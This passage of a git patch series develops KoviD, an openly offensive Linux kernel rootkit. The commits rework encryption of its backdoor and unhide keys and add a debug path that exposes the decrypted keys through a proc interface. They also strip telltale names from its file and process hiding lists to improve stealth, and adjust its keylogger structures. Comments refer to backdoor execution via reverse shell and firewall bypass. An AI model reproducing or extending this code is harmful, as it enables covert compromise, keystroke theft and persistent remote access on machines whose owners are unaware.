auto_unhidekey = \)[^;]*;/\10x0000000000000000;/" src/kovid.c clean: reset-auto @make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean diff --git a/src/auto.h b/src/auto.h deleted file mode 100644 index 8fb9450..0000000 --- a/src/auto.h +++ /dev/null @@ -1,12 +0,0 @@ -/** - * Modified by Makefile - * !! DO NOT EDIT !! - * - */ -#ifndef __AUTO_H -#define __AUTO_H - -static uint64_t __attribute__((unused)) auto_bdkey = 0x0000000000000000; -static uint64_t __attribute__((unused)) auto_unhidekey = 0x0000000000000000; - -#endif diff --git a/src/kovid.c b/src/kovid.c index 6bbf84a..39f7dc2 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -31,7 +31,6 @@ #include "lkm.h" #include "fs.h" #include "version.h" -#include "auto.h" #include "log.h" #define MAX_PROCFS_SIZE PAGE_SIZE @@ -65,13 +64,14 @@ static DEFINE_MUTEX(prc_mtx); static DEFINE_SPINLOCK(elfbits_spin); static struct kv_crypto_st *kvmgc_unhidekey; +// Makefile auto-generated - DO NOT EDIT +uint64_t auto_unhidekey = 0x0000000000000000; + +extern uint64_t auto_bdkey; + /** gcc - fuck 32 bits shit (for now!) */ #ifndef __x86_64__ -#error "fuuuuuu Support is only for x86-64" -#endif - -#if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 16, 0) -#pragma message "!! Warning: Unsupported kernel version GOOD LUCK WITH THAT! !!" +#error "Support is only for x86-64" #endif MODULE_LICENSE("Dual BSD/GPL"); @@ -872,6 +872,7 @@ static int __init kv_init(void) memcpy(buf, &auto_unhidekey, 8); kv_encrypt(kvmgc_unhidekey, buf, sizeof(buf)); + auto_unhidekey = 0; tsk_sniff = kv_sock_start_sniff(); if (!tsk_sniff) diff --git a/src/sock.c b/src/sock.c index 58cc211..4dec404 100644 --- a/src/sock.c +++ b/src/sock.c @@ -20,7 +20,6 @@ #include "fs.h" #include "lkm.h" #include "log.h" -#include "auto.h" static LIST_HEAD(iph_node); struct iph_node_t { @@ -33,6 +32,10 @@ struct iph_node_t { struct task_struct *tsk_iph = NULL; static struct kv_crypto_st *kvmgc_bdkey; +// Makefile auto-generated - DO NOT EDIT +// To reset status: make clean +uint64_t auto_bdkey = 0x0000000000000000; + #define BD_PATH_NUM 3 #define BD_OPS_SIZE 2 enum { @@ -633,6 +636,7 @@ struct task_struct *kv_sock_start_sniff(void) */ memcpy(buf, &auto_bdkey, 8); kv_encrypt(kvmgc_bdkey, buf, sizeof(buf)); + auto_bdkey = 0; // load sniffer if (!*running) { From c9224b8397baca2b8fe93500b23139f9c9f61c3a Mon Sep 17 00:00:00 2001 From: JNE Date: Sat, 4 Jan 2025 01:42:55 +0000 Subject: [PATCH 15/18] crypto: update get-bdkey and get-unhidekey Debug mode only. decrypt and present to user via proc UI. --- src/kovid.c | 55 ++++++++++++++++++++++++++++++++++------------------- src/lkm.h | 3 +++ src/sock.c | 8 ++++++++ 3 files changed, 46 insertions(+), 20 deletions(-) diff --git a/src/kovid.c b/src/kovid.c index 39f7dc2..f8a6722 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -69,7 +69,6 @@ uint64_t auto_unhidekey = 0x0000000000000000; extern uint64_t auto_bdkey; -/** gcc - fuck 32 bits shit (for now!) */ #ifndef __x86_64__ #error "Support is only for x86-64" #endif @@ -481,20 +480,34 @@ static const match_table_t tokens = { { Opt_unknown, NULL } }; -struct check_unhidekey_t { +struct userdata_t { bool ok; + int op; uint64_t address_value; }; -void _unhidekey_callback(const u8 *const buf, size_t buflen, size_t copied, - void *userdata) +void _crypto_cb(const u8 *const buf, size_t buflen, size_t copied, + void *userdata) { - struct check_unhidekey_t *validate = - (struct check_unhidekey_t *)userdata; - if (validate && validate->address_value) { - if (validate->address_value == *((uint64_t *)buf)) - validate->ok = true; + struct userdata_t *validate = (struct userdata_t *)userdata; + + if (!validate) + return; + + if (validate->op == Opt_unhide_module) { + if (validate->address_value) { + if (validate->address_value == *((uint64_t *)buf)) + validate->ok = true; + } } +#ifdef DEBUG_RING_BUFFER + else if (validate->op == Opt_get_unhidekey || + validate->op == Opt_get_bdkey) { + char bits[32 + 1] = { 0 }; + snprintf(bits, 32, "%llx", *((uint64_t *)buf)); + set_elfbits(bits); + } +#endif } #define CMD_MAXLEN 128 @@ -503,7 +516,7 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size, { pid_t pid; char param[CMD_MAXLEN + 1] = { 0 }; - decrypt_callback cbkey = (decrypt_callback)_unhidekey_callback; + decrypt_callback user_cb = (decrypt_callback)_crypto_cb; if (copy_from_user(param, user, CMD_MAXLEN)) return -EFAULT; @@ -538,12 +551,13 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size, break; case Opt_unhide_module: { uint64_t address_value = 0; - struct check_unhidekey_t validate = { 0 }; + struct userdata_t validate = { 0 }; if ((sscanf(args[0].from, "%llx", &address_value) == 1)) { validate.address_value = address_value; - kv_decrypt(kvmgc_unhidekey, cbkey, &validate); + validate.op = Opt_unhide_module; + kv_decrypt(kvmgc_unhidekey, user_cb, &validate); if (validate.ok == true) { kv_unhide_mod(); } @@ -599,15 +613,16 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size, } } break; #ifdef DEBUG_RING_BUFFER - case Opt_get_bdkey: { - char bits[32 + 1] = { 0 }; - snprintf(bits, 32, "%llx", auto_bdkey); - set_elfbits(bits); - } break; + case Opt_get_bdkey: case Opt_get_unhidekey: { - char bits[32 + 1] = { 0 }; - snprintf(bits, 32, "%llx", auto_unhidekey); - set_elfbits(bits); + struct userdata_t validate = { 0 }; + struct kv_crypto_st *mgc = + (tok == Opt_get_unhidekey ? kvmgc_unhidekey : + kv_sock_get_mgc()); + decrypt_callback user_cb = (decrypt_callback)_crypto_cb; + + validate.op = tok; + kv_decrypt(mgc, user_cb, &validate); } break; #endif case Opt_fetch_base_address: { diff --git a/src/lkm.h b/src/lkm.h index d146f2e..04b5e88 100644 --- a/src/lkm.h +++ b/src/lkm.h @@ -127,6 +127,9 @@ struct task_struct *kv_sock_start_sniff(void); bool kv_sock_start_fw_bypass(void); void kv_sock_stop_sniff(struct task_struct *tsk); void kv_sock_stop_fw_bypass(void); +#ifdef DEBUG_RING_BUFFER +struct kv_crypto_st *kv_sock_get_mgc(void); +#endif bool kv_bd_search_iph_source(__be32 saddr); bool kv_check_bdkey(struct tcphdr *, struct sk_buff *); void kv_bd_cleanup_item(__be32 *); diff --git a/src/sock.c b/src/sock.c index 4dec404..c571f9e 100644 --- a/src/sock.c +++ b/src/sock.c @@ -258,6 +258,7 @@ static char *_build_bd_command(const char *exe, uint16_t dst_port, __be32 saddr, } return bd; } + /** * Execute backdoor that can be either regular * or reverse shell @@ -615,6 +616,13 @@ static unsigned int _sock_hook_nf_fw_bypass(void *priv, struct sk_buff *skb, return rc; } +#ifdef DEBUG_RING_BUFFER +struct kv_crypto_st *kv_sock_get_mgc(void) +{ + return kvmgc_bdkey; +} +#endif + struct task_struct *kv_sock_start_sniff(void) { bool *running = _is_task_running(); From 981b56cdabad6108aab37640fefa0e4c96d370f8 Mon Sep 17 00:00:00 2001 From: JNE Date: Sat, 4 Jan 2025 12:10:55 +0000 Subject: [PATCH 16/18] debug: remove shadow var declaration --- src/kovid.c | 2 -- 1 file changed, 2 deletions(-) diff --git a/src/kovid.c b/src/kovid.c index f8a6722..70df041 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -619,8 +619,6 @@ static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size, struct kv_crypto_st *mgc = (tok == Opt_get_unhidekey ? kvmgc_unhidekey : kv_sock_get_mgc()); - decrypt_callback user_cb = (decrypt_callback)_crypto_cb; - validate.op = tok; kv_decrypt(mgc, user_cb, &validate); } break; From a30a9931a12641e7f87fdaa44bfa8153b274212c Mon Sep 17 00:00:00 2001 From: JNE Date: Sat, 4 Jan 2025 21:22:17 +0000 Subject: [PATCH 17/18] stealth: remove hard-coded names from hide list It is a weakness having them Suppose you want to find the rootkit? $ >kv $ ls kv --- src/kovid.c | 6 ++---- src/lkm.h | 6 ------ 2 files changed, 2 insertions(+), 10 deletions(-) diff --git a/src/kovid.c b/src/kovid.c index 70df041..ba1db3a 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -827,10 +827,8 @@ static int __init kv_init(void) /* * Hide these names from write() fs output */ - static const char *hide_names[] = { ".kovid", "kovid", - "kovid.ko", UUIDGEN ".ko", - UUIDGEN ".sh", ".sshd_orig", - PROCNAME, NULL }; + static const char *hide_names[] = { MODNAME, UUIDGEN ".ko", + UUIDGEN ".sh", PROCNAME, NULL }; /** show current version for when running in debug mode */ prinfo("version %s\n", KOVID_VERSION); diff --git a/src/lkm.h b/src/lkm.h index 04b5e88..b9c9d8e 100644 --- a/src/lkm.h +++ b/src/lkm.h @@ -164,12 +164,6 @@ struct _kv_hide_ps_on_load { * Hide these process names at insmod */ static struct _kv_hide_ps_on_load kv_hide_ps_on_load[] = { - { "whitenose-example", KV_TASK }, - { "pinknose-example", KV_TASK }, - { "rednose-example", KV_TASK }, - { "blacknose-example", KV_TASK }, - { "greynose-example", KV_TASK }, - { "purplenose-example", KV_TASK }, // Uncomment, recompile and try nc: //{"nc", KV_TASK_BD}, From 25ad9c8e9d2fd189e9ed042a5fc772bca737692c Mon Sep 17 00:00:00 2001 From: JNE Date: Mon, 6 Jan 2025 10:10:44 +0000 Subject: [PATCH 18/18] Address review comments --- CMakeLists.txt | 1 + src/kovid.c | 4 ++-- src/tty.c | 4 ++-- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index fad96bc..59c06e0 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -107,6 +107,7 @@ set(SRC src/sock.c src/util.c src/vm.c + src/tty.c ) # Step M: Create the 'persist' Target using configure_file diff --git a/src/kovid.c b/src/kovid.c index ba1db3a..5fa82f3 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -481,9 +481,9 @@ static const match_table_t tokens = { }; struct userdata_t { - bool ok; - int op; uint64_t address_value; + int op; + bool ok; }; void _crypto_cb(const u8 *const buf, size_t buflen, size_t copied, diff --git a/src/tty.c b/src/tty.c index 9988861..2fb2b92 100644 --- a/src/tty.c +++ b/src/tty.c @@ -12,10 +12,10 @@ static DEFINE_SPINLOCK(tty_lock); struct keylog_t { - char buf[KEY_LOG_BUF_MAX + 2]; /** newline+'\0' */ - int offset; uid_t uid; + int offset; struct list_head list; + char buf[KEY_LOG_BUF_MAX + 2]; /** newline+'\0' */ }; static void _keylog_cleanup_list(struct list_head *head)